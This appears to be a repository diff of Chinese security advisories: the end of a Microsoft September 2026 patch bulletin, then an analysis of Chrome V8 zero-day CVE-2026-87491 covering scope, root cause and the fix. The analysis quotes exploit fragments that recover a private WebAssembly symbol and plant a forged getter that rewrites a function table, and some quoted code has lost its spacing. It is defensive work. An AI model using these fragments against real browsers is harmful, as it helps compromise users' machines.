CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-72982
+ + +**41.Internet Connection Sharing (ICS)远程代码执行漏洞（CVE-2026-72983）** + +
漏洞详情
漏洞标题
Internet Connection Sharing (ICS)远程代码执行漏洞（CVE-2026-72983）
漏洞描述
Windows 互联网连接共享 (ICS) 中的释放后使用漏洞允许未经授权的攻击者在网络上执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-72983
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-72983
+ + +**42.Windows Secure Socket Tunneling Protocol (SSTP)远程代码执行漏洞（CVE-2026-73009）** + +
漏洞详情
漏洞标题
Windows Secure Socket Tunneling Protocol (SSTP)远程代码执行漏洞（CVE-2026-73009）
漏洞描述
Windows 安全套接字隧道协议 (SSTP) 中的释放后使用漏洞允许未经身份验证的攻击者通过网络执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-73009
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-73009
+ + +**43.Microsoft Failover Cluster远程代码执行漏洞（CVE-2026-73010）** + +
漏洞详情
漏洞标题
Microsoft Failover Cluster远程代码执行漏洞（CVE-2026-73010）
漏洞描述
Windows 故障转移集群中的释放后使用漏洞允许未经授权的攻击者在网络上执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-73010
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-73010
+ + +**44.Windows iSCSI安全功能绕过漏洞（CVE-2026-73025）** + +
漏洞详情
漏洞标题
Windows iSCSI安全功能绕过漏洞（CVE-2026-73025）
漏洞描述
Windows iSCSI 中的弱身份验证允许未经授权的攻击者通过网络绕过安全功能。
漏洞类型
安全功能绕过
危害等级严重
CVE编号
CVE-2026-73025
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-73025
+ + +**45.Microsoft Office Outlook远程代码执行漏洞（CVE-2026-77493）** + +
漏洞详情
漏洞标题
Microsoft Office Outlook远程代码执行漏洞（CVE-2026-77493）
漏洞描述
Microsoft Graphics 组件中的双重释放漏洞允许未经授权的攻击者在网络上执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-77493
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-77493
+ + +**46.Windows Services for NFS ONCRPC XDR Driver远程代码执行漏洞（CVE-2026-78445）** + +
漏洞详情
漏洞标题
Windows Services for NFS ONCRPC XDR Driver远程代码执行漏洞（CVE-2026-78445）
漏洞描述
Windows Services for NFS 的 ONCRPC XDR 驱动程序中存在释放后使用漏洞，允许未经身份验证的攻击者通过网络执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-78445
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-78445
+ + +**47.Microsoft Office Outlook远程代码执行漏洞（CVE-2026-78509）** + +
漏洞详情
漏洞标题
Microsoft Office Outlook远程代码执行漏洞（CVE-2026-78509）
漏洞描述
Microsoft Office Outlook 中的基于堆的缓冲区溢出漏洞允许未经授权的攻击者通过网络执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-78509
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-78509
+ + +**48.Microsoft Word远程代码执行漏洞（CVE-2026-78510）** + +
漏洞详情
漏洞标题
Microsoft Word远程代码执行漏洞（CVE-2026-78510）
漏洞描述
Microsoft Office Word 中的基于堆的缓冲区溢出漏洞允许未经授权的攻击者通过网络执行代码。
漏洞类型
远程代码执行
危害等级严重
CVE编号
CVE-2026-78510
CVSS3.1评分
9.8
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-78510
+ + +**49.Copilot Studio特权提升漏洞（CVE-2026-80098）** + +
漏洞详情
漏洞标题
Copilot Studio特权提升漏洞（CVE-2026-80098）
漏洞描述
Copilot Studio 中加密签名验证不当，允许未经授权的攻击者通过网络提升权限。
漏洞类型
权限提升
危害等级严重
CVE编号
CVE-2026-80098
CVSS3.1评分
9.3
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：改变；机密性影响（C）：低；完整性影响（I）：高；可用性影响（A）：无
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-80098
+ + +**50.Visual Studio Code安全功能绕过漏洞（CVE-2026-81376）** + +
漏洞详情
漏洞标题
Visual Studio Code安全功能绕过漏洞（CVE-2026-81376）
漏洞描述
Visual Studio Code 中存在不完整的比较，缺少相关因素，允许未经授权的攻击者通过网络绕过安全功能。
漏洞类型
安全功能绕过
危害等级严重
CVE编号
CVE-2026-81376
CVSS3.1评分
9.6
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：需要用户交互；影响范围（S）：改变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-81376
+ + +**51.Microsoft Azure Active Directory B2C特权提升漏洞（CVE-2026-83711）** + +
漏洞详情
漏洞标题
Microsoft Azure Active Directory B2C特权提升漏洞（CVE-2026-83711）
漏洞描述
在 Microsoft Azure Active Directory B2C 中，由于用户可控密钥导致的授权绕过漏洞，允许未经授权的攻击者通过网络提升权限。
漏洞类型
权限提升
危害等级严重
CVE编号
CVE-2026-83711
CVSS3.1评分
10.0
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：无；用户交互（UI）：不需要用户交互；影响范围（S）：改变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：无
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-83711
+ + +**52.Entra ID特权提升漏洞（CVE-2026-83941）** + +
漏洞详情
漏洞标题
Entra ID特权提升漏洞（CVE-2026-83941）
漏洞描述
Entra ID 中缺少授权机制，允许已授权的攻击者通过网络提升权限。
漏洞类型
权限提升
危害等级严重
CVE编号
CVE-2026-83941
CVSS3.1评分
9.9
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：网络；攻击复杂度（AC）：低；所需权限（PR）：低；用户交互（UI）：不需要用户交互；影响范围（S）：改变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：低
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-83941
+ + +**53.Windows Advanced Local Procedure Call (ALPC) 特权提升漏洞（CVE-2026-85880）** + +
漏洞详情
漏洞标题
Windows Advanced Local Procedure Call (ALPC) 特权提升漏洞（CVE-2026-85880）
漏洞类型
权限提升
危害等级高危
CVE编号
CVE-2026-85880
CVSS3.1评分
7.0
CNVD编号
未分配
CNNVD编号
未分配
安恒CERT编号
未分配
CVSS向量
访问途径（AV）：本地；攻击复杂度（AC）：高；所需权限（PR）：低；用户交互（UI）：不需要用户交互；影响范围（S）：不变；机密性影响（C）：高；完整性影响（I）：高；可用性影响（A）：高
参考链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-85880
+ + +**修复方案** + + + +目前微软针对支持的产品已发布升级补丁修复了上述漏洞，请用户参考官方通告及时下载更新补丁。 + +补丁获取： + +https://msrc.microsoft.com/update-guide/vulnerability + +Windows 更新： + +自动更新： + +Microsoft Update默认启用，当系统检测到可用更新时，将会自动下载更新并在下一次启动时安装。 + +手动更新： + +1. 点击“开始菜单”或按Windows快捷键，点击进入“设置”。 + +2. 选择“更新和安全”，进入“Windows更新”（Windows + +3. Windows 8.1、Windows Server 2012以及Windows Server 2012 R2可通过控制面板进入“Windows更新”，具体步骤为“控制面板”->“系统和安全”->“Windows更新”）。 + +4. 选择“检查更新”，等待系统将自动检查并下载可用更新。 + +5. 重启计算机，安装更新系统重新启动后，可通过进入“Windows更新”->“查看更新历史记录”查看是否成功安装了更新。 + + +**参考资料** + + + +https://msrc.microsoft.com/update-guide/releaseNote/2026-Sep + + +**技术支持** + + + +如有漏洞相关需求支持请联系400-6059-110获取相关能力支撑。 + diff --git a/doc/2026-09/五个 V8 漏洞里唯一的 Medium：Chrome 在野0Day CVE-2026-87491.md b/doc/2026-09/五个 V8 漏洞里唯一的 Medium：Chrome 在野0Day CVE-2026-87491.md new file mode 100644 index 00000000..dc1b10e5 --- /dev/null +++ b/doc/2026-09/五个 V8 漏洞里唯一的 Medium：Chrome 在野0Day CVE-2026-87491.md @@ -0,0 +1,367 @@ +# 五个 V8 漏洞里唯一的 Medium：Chrome 在野0Day CVE-2026-87491 + Ots安全 2026-09-16 05:04 + +**威胁简报** + + +**恶意软件** + + +**漏洞攻击** + +2026 年 9 月 9 日，美国网络安全和基础设施安全局把 CVE-2026-87491 收进了已知被利用漏洞目录，给出的修复截止日是 9 月 23 日。此前一天，Google 在 Chrome 153 稳定版更新里提到，这个编号的漏洞利用已经在野外出现。这是 2026 年 Chrome 修补的第七个在野利用零日，也是五天之内第二个落在 V8 引擎上的。 + +让人意外的地方在于定级。Chromium 安全团队给它的是 Medium，而同一次更新里还有四个 V8 漏洞被标为 High，那四个没有一个被确认在野利用。公开 exploit 在补丁发布两天后就出现在代码托管平台上，两个仓库都把 CVE-2026-87491 与五天前修补的 CVE-2026-85046 串成一条链。 + +更值得关注的是根因的形态。修复提交在 V8 源码里删掉了一段实现，而那段实现的正上方，另一份描述文件里留着一句工程师注释，写着这条路径"从当前调用方到不了"。这句话就是漏洞本身。本文核对官方公告、补丁 diff、上游源码与公开 exploit 的自述，把能确认的与确认不了的分开写。 +## 一、先看问题：编号、评分与五天的间隔 + +CVE-2026-87491 由 Chrome 作为 CNA 分配，9 月 8 日 22 时 38 分保留编号，9 月 9 日 0 时 09 分公开发布。官方描述是一句模板化的表述。 +> Out of bounds write in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium) + + +这段话里有三个可核实的点：缺陷类型是 V8 中的越界写，受影响的是 153.0.8010.36 之前的版本，能力边界是"沙箱内执行任意代码"。括号里的 Medium 是 Chromium 项目自己的定级口径，与后加的 CVSS 评分不是一套体系。 + +CISA 的漏洞富化流程给出的评分是另一回事。同一份记录里，CVSS 3.1 基础分 8.8，向量 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H +。美国国家漏洞数据库截至本文写作时仍未给出评分，页面上写的是 N/A。也就是说，**同一个编号存在官方未评分与第三方 8.8 并存的局面** +，而 Chromium 自己的 Medium 既不是前者也不是后者。 + +真正需要解释的落差不在评分，在同一批次里的横向对比。Chrome 153 一共修了 230 个安全问题，其中 V8 相关的有九个： +
报告日
定级
编号
赏金
缺陷类型
2026-07-09
Medium
CVE-2026-87625
未列
V8 释放后使用
2026-07-27
Low
CVE-2026-87489
未列
V8 内存损坏
2026-08-01
Low
CVE-2026-87601
待定
V8 竞态
2026-08-03
Medium
CVE-2026-87657
$1,000
V8 释放后使用
2026-08-06MediumCVE-2026-87491$2,500V8 越界写
2026-08-21
High
CVE-2026-87587
待定
V8 释放后使用
2026-08-25
High
CVE-2026-87564
待定
V8 类型混淆
2026-08-29
High
CVE-2026-87612
待定
V8 类型混淆
2026-08-29
High
CVE-2026-87536
待定
V8 释放后使用
+四个定级更高的 V8 漏洞都没有被确认利用。本文主角是九个里唯一一个被写明"在野外存在利用"的，定级却只是 Medium。这个组合恰好说明，Chromium 的定级描述的是单个缺陷自身的影响范围，不描述它正在被谁使用。 + +时间线上的另一个数字更值得注意。CVE-2026-85046 是 V8 类型混淆，Chrome 在 152.0.7977.82 中修复，发布日 9 月 3 日，次日进 KEV。五天之后 9 月 8 日，Chrome 153.0.8010.36 修掉了本文主角，9 月 9 日进 KEV。两个编号都在 V8 上，两个都被确认在野利用，中间隔了五天。 + +Google 在公告里没有说明利用细节、攻击目标或使用者身份，只说了一句"Google is aware that an exploit for CVE-2026-87491 exists in the wild."。按其一贯做法，缺陷详情与链接会保持受限状态，直到大部分用户完成更新。 + +一个容易被忽略的细节是报告的集中度。这三个 V8 漏洞由同一位研究者 Jihyeon Jeong 在同一批次内提交，他是首尔大学 Compsec Lab 的研究实习生：8 月 3 日的 CVE-2026-87657 拿 $1,000，8 月 6 日的 CVE-2026-87491 拿 $2,500，8 月 21 日的 CVE-2026-87587 定级 High 且赏金待定。同一个人一个月内在同一个引擎上连报三个内存安全问题，其中一个后来演变成在野零日，说明 V8 的攻击面密度依然很高。 + +**把 Medium 读成"不重要"，或者把 8.8 读成"已能控制主机"，两个方向都会误导读者。** + 前者忽略了在野利用这个事实，后者忽略了缺陷自身的能力边界。 +## 二、影响范围：上游版本、下游分支与网页侧的可达性 +### 2.1 Chrome 的版本区间 + +Chrome 侧的判定很干净：稳定版低于 153.0.8010.36 就受影响，Windows 与 macOS 的对应版本是 153.0.8010.36 与 153.0.8010.37，Linux 是 153.0.8010.36。CVE 记录的受影响区间写法是 lessThan: 153.0.8010.36 +。 +### 2.2 下游分支的修复落差 + +Chromium 系浏览器需要单独判定，因为修复进入上游仓库之后，各家 cherry-pick 到哪条分支、何时发版，各自决定。这里出现了本篇最反直觉的一个事实：Microsoft 在官方发布说明里写明，2026 年 9 月 4 日发布的 Edge 稳定版 152.0.4191.66 就包含了 CVE-2026-87491 的修复，并注明"Chromium 团队报告称 CVE-2026-87491 存在漏洞/在野利用"。Edge 的修复比 Chrome 自己早了四天。 +
时间
Chrome
Edge
CVE-2026-85046 修复
152.0.7977.82（9 月 3 日）
152.0.4191.62（9 月 2 日）
CVE-2026-87491 修复
153.0.8010.36（9 月 8 日）
152.0.4191.66（9 月 4 日）
+**"Chrome 是上游，所以 Chrome 用户先拿到修复"这个直觉在本次不成立。** + 上游指的是代码库，不是发版节奏。Edge 把修复回填到了 152 分支，Chrome 把它放进了 153 主版本，于是下游用户比上游主产品用户提早四天得到保护。这四天里，Edge 用户的攻击窗口关闭了，Chrome 用户的还开着。 + +需要留意的一处转述失准：某漏洞情报平台给出的 Edge 处置建议是"升级到 151 通道的 151.0.4129.107 或更高，或 152 通道的 152.0.4191.66 或更高"。但按 Microsoft 官方发布说明，151.0.4129.107 的发布日是 8 月 31 日，早于该修复进入分支的时间。**按这条建议把 Edge 停在 151 最新版的设备，仍然没有这道修复。** + 可执行的版本下限只有 152.0.4191.66。 +### 2.3 网页侧的那条可达路径 + +前一项判的是浏览器版本，这一项判的是攻击面本身是否打开。缺陷的触发路径经过 WebAssembly 的异常处理，具体是 WebAssembly.Exception + 与异常解包流程。一个完全不使用 WebAssembly 的浏览环境，这条链没有入口。 + +这一项的意义在于它是唯一能主动收敛的条件。企业侧如果通过策略关闭 WebAssembly，或者站点本身不加载任何 wasm 模块，那么即便浏览器版本落后，这条特定路径也走不通。Chrome 的企业策略支持按站点或全局禁用该特性。 + +需要把话说清楚：关掉 WebAssembly 只是关掉这一条路径，不修复底层的越界写。同一批次里四个定级更高的 V8 漏洞与 WebAssembly 无关，其中三个是释放后使用、两个是类型混淆，走的是普通 JavaScript 路径。**以策略替代补丁，挡住的只是本次这一条链，不构成一般性防护。** +### 2.4 无需前置权限，但要那一次重启 + +第三项判的是权限前置，而它的结论是反向的：这个漏洞不需要任何前置权限。CVSS 向量里的 PR:N + 与 CISA 富化记录里的 Exploits: active + 都指向同一点，攻击者只需要让受害者用未修复的浏览器打开一个页面。 + +同一份向量里的 UI:R + 说明需要用户交互，这一项的实质内容是"访问页面"本身。CISA 的 SSVC 评估把 Automatable + 判为 no +，理由也在这里：它不能像蠕虫那样自行扩散，需要把受害者引到承载页面上。CISA 同时把 Technical Impact + 判为 total +，指的是缺陷被利用后对目标的破坏程度，与自动化难度是两个维度。 + +真正需要单独判定的是部署状态。Chrome 的更新在后台下载，新版本要等浏览器进程重启才会真正替换运行中的二进制。**只看到"已更新到 153"的提示、没有重启浏览器或退出全部 Chrome 进程的终端，运行的仍是旧版本。** + 这一项在补丁日之后往往比版本号本身更能决定处置是否有效。 +## 三、原因导致：一处会调用 getter 的内置函数 +### 3.1 私有符号与内置函数的职责 + +V8 在内部用私有符号给某些对象打标记，wasm_exception_tag_symbol + 与 wasm_exception_values_symbol + 就是其中两个，WebAssembly 异常对象靠它们存放标签与取值。WasmGetOwnProperty + 这个内置函数的作用是检查对象上是否存在这类私有符号，属于 GetOwnProperty + 行为的一个特化版本。 + +按设计意图，它只需要回答"这个对象上有没有这个符号"，不需要取值，更不需要让任何用户代码参与进来。这个意图决定了后文全部的技术走向。 +### 3.2 契约写在注释里 + +它的语义约束被明确写在源码注释里。当前上游 src/builtins/builtins-wasm-gen.cc + 中，该内置函数定义的上方有这几行： + +``` +// Wasm uses private symbols (e.g. wasm_exception_tag_symbol) to stamp certain +// objects. This builtin checks for presence of such symbols; it is a +// specialization of "GetOwnProperty" behavior: if the object is not a plain +// JS objector the propertyisnot an own data property, return undefined. +// To allow compilers to assume no side effects from this builtin, it's +// particularly important to not invoke any getters. +``` + + +这句注释是全部问题的起点：**为了让编译器能假定这个内置函数无副作用，特别重要的是不调用任何 getter。** + 编译器作这个假定的目的很实际。优化后的代码在一个代码区间内需要知道哪些状态会变，内置函数每次被调用都去保守地重新读取状态，优化就失去了空间。 + +问题在于这条约束在当时没有被实现守住。 +### 3.3 会走到 GetPropertyWithReceiver 的旧实现 + +修复前的 WasmGetOwnProperty + 并不在上面那个 C++ 文件里，而是用 Torque 写在同一目录族的 src/builtins/wasm.tq + 中。修复提交把这整段实现删掉了。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/zNsFJyIuL0HYlWKia5zCsw2oYHa7lsaNdKXAysFyeZpSsL8eI3XXVIOA7dYsTTHXiaaKFic7PzGiaRcrDCcDcpw9BcS76c1qZnPrt3vyJ8kVeTk/640?wx_fmt=png&from=appmsg "") + +删除内容里的关键两行是这样的： + +``` +const receiver: JSReceiver = +    Cast(heapObject) otherwise NotFound; +try { +  TryHasOwnProperty( +      receiver, receiver.map, receiver.instanceType, uniqueName) +      otherwise Found, NotFound, NotFound; +} label Found { +  return GetPropertyWithReceiver( +      receiver, uniqueName, receiver, SmiConstant(kReturnUndefined)); +} +``` + + +第一层判断是 TryHasOwnProperty +，它确实只查自有属性。但命中之后走的是 GetPropertyWithReceiver +，这是一个完整的属性读取入口。**自有属性存在并不意味着读取过程不会执行用户代码** +，属性本身可以定义成访问器，而 GetPropertyWithReceiver + 会调用它。 + +这就构成了一个直接矛盾：注释要求"不调用任何 getter"，实现里却保留了一条能调用 getter 的分支。引擎内部在解包 WasmExceptionPackage + 时会调用这个内置函数，而攻击者只要能构造出符合条件的对象，就能让引擎在解包过程中执行自己提供的 JavaScript。 +### 3.4 编译器侧那句"到不了" + +矛盾之所以长期没有暴露，是因为编译器一侧也做了配合，而这个配合被写成注释留在了代码里。Turboshaft 优化编译器在 src/compiler/turboshaft/builtin-call-descriptors.h + 中为每个可调用内置函数登记副作用描述，修复提交把这一段也改了。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/zNsFJyIuL0HgjYByTTicuYicI2y0s0ZseDuBYJiadEJoq9uphm1fZDibUkh5FPcd5EQpDGGiawBRw2kNCN6We9jFDLeXl0Eoqag8hb1Zyf0kCFBA/640?wx_fmt=png&from=appmsg "") + +修复前的版本这样写： + +``` +staticconstexprbool kNeedsContext = false; +staticconstexpr ClobberingOpProperties = Operator::kNoThrow; +// Calls {GetPropertyWithReceiver} which has paths that can allocate. +// But from this caller we won't reach them. Nevertheless, to please the +// verifier we currently have no other choice than setting the CanAllocate +// effect here. +// TODO(verwaest): Support overriding the automatic can-allocate +// inference. +staticconstexpr OpEffects kEffects = +    base_effects.CanReadHeapMemory().CanAllocate(); +``` + + +第二行把该内置函数标记为 kNoThrow +，即认为它不会抛出异常。注释则承认它会调用 GetPropertyWithReceiver +，也承认那条路径上存在可分配的代码段，然后用一句判断把它们放行了：**"但从这个调用方我们到不了那里"** +。 + +这个判断是整条链的技术核心。它把风险建立在"当前所有调用方都不会走到那条路径"这个前提上，而不是建立在实现本身的安全性上。前提一旦被打破，编译器就会按照"这个调用无副作用、不会抛异常"的假设继续优化，而实际执行已经发生了状态改变。 + +修复后的版本删掉了 kNeedsContext +，注释改成了关于 MutableHeapNumber + 的可分配性说明，并保留了 kNoThrow +。**区别不在于缩进几个空格，而在于实现真的不再需要上下文、不再需要调用 getter 之后，那句放行判断才变得成立。** + 顺序在这里很重要：先让实现守住契约，注释才有资格陈述契约。 +## 四、漏洞触发：伪造 getter 改写函数表 +### 4.1 从真实异常对象里取出私有符号 + +触发的前提是让引擎在解包异常时去读一个由攻击者控制的属性。引擎内部读的是私有符号，私有符号不出现在 JavaScript 可见的符号集合里，所以不能直接用名字访问。 + +公开 exploit 的做法是从一个真实的异常对象反向取出来。它先创建一个合法的 WebAssembly.Exception +，再从这个对象的描述符数组里把符号类型的那个槽位读出来。 + +``` +// Recover the private exception-tag symbol from a genuine exception. +const genuine = +    newWebAssembly.Exception(newWebAssembly.Tag({parameters: []}), []); +const genuineDescriptors = descriptorArrayOf(genuine); +const hiddenTagSymbol = findTaggedWord(genuineDescriptors, 'SYMBOL_TYPE').value; +``` + + +这一段的性质是地址与槽位的读取，本身不构成利用。它的价值在于说明私有符号并非不可获取：只要能从任意一个真实对象上把它读出来，就可以用它去构造自己的对象。**"私有"在这里指的是不导出到语言层，不等于拿不到** +，这一点在依赖私有符号做完整性判断的设计里需要单独评估。 +### 4.2 伪造 getter 与函数表的一次改写 + +拿到符号之后，攻击者构造一个普通对象，在其上定义一个访问器属性，然后把刚取出的私有符号作为键放进去。引擎在解包异常时会按这个符号去读属性，于是走到访问器，执行攻击者提供的函数。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/zNsFJyIuL0E6rhjekJ2vUs9VoSNCfNknj31bwmKzxgVMO7vaBeU4RFZrzVufIaK78P79Rrutkz3KS7wNVzUg8n348lUZWUKKsSQaDQmqoNI/640?wx_fmt=png&from=appmsg "") + +``` +let getterCount = 0; +const forged = Object.defineProperty({}, 'x', { +  get() { +    ++getterCount; +    table.set(0, d.exports.target); +    returnundefined; +  }, +  configurable:true, +}); +``` + + +这个 getter 里只有一句实质动作：table.set(0, d.exports.target) +，把共享函数表第 0 项改写成另一个实例导出的函数。按上一章的契约，这个时刻引擎应当处在"本次属性读取不产生副作用"的假设之下，而实际发生的是函数表被改写。 + +后面的链条由此展开。exploit 让两个 WebAssembly 实例共享同一张导入函数表与同一个标签，getter 在优化编译完成之后被调用，编译器已经按"无副作用"把函数表的内容与其他隐式元数据固定下来，于是保留了实例 A 的陈旧元数据，实际派发却落到了实例 D 的目标函数上。实例 D 使用内存索引 6，按 exploit 的断言与实例 A 的可执行跳转表区域别名，由此得到对已编译 wasm 代码的读写能力，改写代码后调用即完成执行。 + +必须说明边界：**本文不提供该链的构造代码，也不复现其地址布局。** + 这一段的作用是佐证普通一点的结论，即 CVE-2026-87491 在整条链中承担的是"打破编译器假设"这一环，它把一次本应无副作用的内置函数调用，变成了攻击者可插入状态改变的时机。 +### 4.3 陈旧元数据为何能存活到派发时刻 + +到这里需要回答一个更基础的问题：为什么一次函数表改写能让引擎在错误的前提下继续执行。原因在优化编译的时间线。JavaScript 引擎对热点函数做优化时，会把此刻观察到的对象形状、函数表内容、调用目标等写成假设，生成只在这些假设成立时才正确的机器码。执行期间若假设被打破，引擎有机制把代码退回未优化状态，这个动作需要被触发。 + +触发的前提是引擎知道假设被打破了。**在无副作用的假设之下，内置函数调用被视作不影响这些前提的事件，于是没有触发任何失效检查。** + 函数表在第 0 项上被替换，而依赖该表项的优化代码继续按旧内容派发，指针与元数据就此错位。这也解释了为什么缺陷被归到越界写：错位之后的写入落在按旧布局计算的位置上，超出了对应缓冲区的真实边界。 +### 4.4 作者自己划下的能力边界 + +关于这个漏洞能走多远，最可靠的说法来自公开 exploit 的作者。仓库 README 的结尾只有一句： +> To go any further you'd have to have an local priv esc of sorts. + + +译文是，想再往前走一步，得另外有一个本地提权之类的东西。这是 exploit 作者对自己作品边界的陈述，与官方描述里的"沙箱内执行任意代码"相互印证。作者同时说明了这个仓库的运行方式：起一个本地服务，最多尝试五次全新配置，抓到渲染进程输出的成功字样即停。 + +第三方平台对同一件事有另一种表述，把它描述为"多漏洞利用链中与 WebAssembly 相关的 V8 沙箱逃逸组件"。这个措辞容易被读成"已经逃出浏览器沙箱"，与 exploit 作者的自述并不一致。**准确的位置是：该缺陷提供的是渲染进程内的代码执行原语，从渲染进程到主机操作系统之间还隔着浏览器沙箱这一层，需要额外漏洞才能跨越。** + 原文配图给出的技术描述与 exploit README 一致，两者都把终点定在本地提权之前。 +## 五、补丁分析：一次搬迁与两处注释 +### 5.1 从 Torque 搬到 C++ + +修复提交的题目是 [wasm][sandbox] Fix side effects of WasmGetOwnProperty builtin +，提交说明只有两句，第二句直接对应上一章的判断。 +> We want this builtin to have no side effects, so it should not invoke any getters. + + +修复方式不是删掉 GetPropertyWithReceiver + 那一行，而是**把整个内置函数从 Torque 实现搬迁到 C++ 的代码桩汇编实现** +。新实现在 builtins-wasm-gen.cc + 中，路径换成先查自有属性、再按属性种类判定： + +``` +TNode kind = +    DecodeWord32(var_details.value()); +constexprint kData = static_cast(PropertyKind::kData); +GotoIfNot(Word32Equal(kind, Int32Constant(kData)), &return_undefined); +GotoIfLazyClosure(CAST(var_value.value()), &return_undefined); +Return(var_value.value()); +``` + + +键在倒数第三行：属性种类必须等于 kData +，也就是普通数据属性，否则直接返回 undefined +。**访问器属性在新的判定下不再返回取值，因为不再有取值这个过程。** + 查找本身也换成了 TryLookupPropertyInSimpleObject + 与 LoadPropertyFromFastObject +、LoadPropertyFromDictionary +，这三者都只读元数据与槽位，不执行用户代码。 + +作者是 Jakob Kummerow，前后两版的审阅者都是 Thibaud Michaud。改动通过 chromium-review + 完成，评审地址是 https://chromium-review.googlesource.com/c/v8/v8/+/8234942 +，变更标识 Ifa3c166e54f2084524c562ba2f57d55e0a51bff6 +，提交位置 refs/heads/main@{#109190} +，提交说明中的 Fixed: 543557673 + 与 CVE 记录里引用的 Chromium 缺陷编号一致。 +### 5.2 两处注释的同步 + +补丁同时改了 Turboshaft 侧的描述符，这一处改动比实现搬迁更容易被漏掉。前面看到的 kNoThrow + 标记在新版本里保留了下来，kNeedsContext + 被删除，注释换成了关于堆数字可分配性的说明。 + +保留 kNoThrow + 是合理的选择，前提是实现真的不再调用任意用户代码。摘掉 kNeedsContext + 则是因为新实现不再需要上下文参数，这一点恰好是"不调用 getter"在接口层面的体现。**搬迁本身才是修复，描述符的同步是让编译器侧的声明与实现重新对齐。** + 两者缺一，要么实现仍然可被重入，要么编译器继续按错误的副作用模型优化。 +### 5.3 与前一编号的关系 + +CVE-2026-85046 